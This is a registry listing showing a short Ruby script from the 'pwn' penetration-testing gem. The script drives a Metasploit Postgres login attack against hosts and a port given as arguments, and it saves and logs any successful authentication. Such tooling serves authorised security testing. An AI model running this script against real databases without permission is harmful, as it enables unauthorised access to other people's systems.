Sha256: 63b01661bf39416c16251fd04dc5015960e89c7a470ce8bcbe861ff263e7a55a
Contents?: true
Size: 651 Bytes
Versions: 792
Compression:
Stored size: 651 Bytes
Contents
#!/usr/bin/env ruby # frozen_string_literal: true require 'pwn' msfrpcd_yaml_conf = ARGV[0].to_s.strip.chomp rhosts = ARGV[1].to_s.strip.chomp rport = ARGV[2].to_s.strip.chomp logger = PWN::Plugins::PWNLogger.create logger.info('MSF Postgres Login for ' << rhosts) results = PWN::MSF::PostgresLogin.exploit( msfrpcd_yaml_conf: msfrpcd_yaml_conf, rhosts: rhosts, rport: rport ) File.write("#{rhosts}_msf_postgres_login.txt", results['data']) if results['data'].include?('- LOGIN SUCCESSFUL:') logger.error( "Successful Postgres AuthN!!! See #{rhosts}_msf_postgres_login.txt for more information." ) end # TODO: - Publish as HTML
Version data entries
792 entries across 792 versions & 1 rubygems